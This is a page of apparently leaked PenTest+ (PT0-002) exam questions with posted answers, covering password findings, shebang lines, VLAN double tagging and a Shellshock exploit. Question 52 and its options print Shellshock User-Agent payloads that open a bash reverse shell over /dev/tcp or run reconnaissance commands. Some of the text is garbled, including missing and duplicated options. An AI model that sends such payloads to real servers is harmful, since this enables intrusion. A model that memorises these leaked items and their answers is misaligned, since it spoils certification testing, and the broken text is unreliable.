QUESTION: 49

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>.
Which of the following would be the best action for the tester to take NEXT with this information?

Create a custom password dictionary as preparation for password spray testing.
Recommend using a password manager/vault instead of text files to store passwords securely.
Recommend configuring password complexity rules in all the systems and applications.
Document the unprotected file repository as a finding in the penetration-testing report.

Answer(s): D

Reveal Solution Next Question

QUESTION: 50

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified.
Which of the following character combinations should be used on the first line of the script to accomplish this goal?

Answer(s): E

Reference:

https://linuxconfig.org/bash-scripting-tutorial-for-beginners

Reveal Solution Next Question

QUESTION: 51

A penetration tester who is doing a company-requested assessment would like to send traffic to another system suing double tagging.
Which of the following techniques would BEST accomplish this goal?

RFID cloning
RFID tagging
Meta tagging
Tag nesting

Answer(s): D

Reveal Solution Next Question

QUESTION: 52

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`}

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

A . exploits = {“User-Agent”: “() { ignored;};/bin/bash Ci id;whoami”, “Accept”:
“text/html,application/xhtml+xml,application/xml”}

A . exploits = {“User-Agent”: “() { ignored;};/bin/bash Ci id;whoami”, “Accept”:
“text/html,application/xhtml+xml,application/xml”}
exploits = {“User-Agent”: “() { ignored;};/bin/bash Ci>& find / -perm -4000”, “Accept”:
“text/html,application/xhtml+xml,application/xml”}
exploits = {“User-Agent”: “() { ignored;};/bin/sh Ci ps Cef” 0>&1”, “Accept”:
“text/html,application/xhtml+xml,application/xml”}
exploits = {“User-Agent”: “() { ignored;};/bin/bash Ci>& /dev/tcp/10.10.1.1/80” 0>&1”,
“Accept”: “text/html,application/xhtml+xml,application/xml”}

Answer(s): A

Reveal Solution Next Question

Free PT0-002 Exam Braindumps (page: 13)

QUESTION: 49

QUESTION: 50

Reference:

QUESTION: 51

QUESTION: 52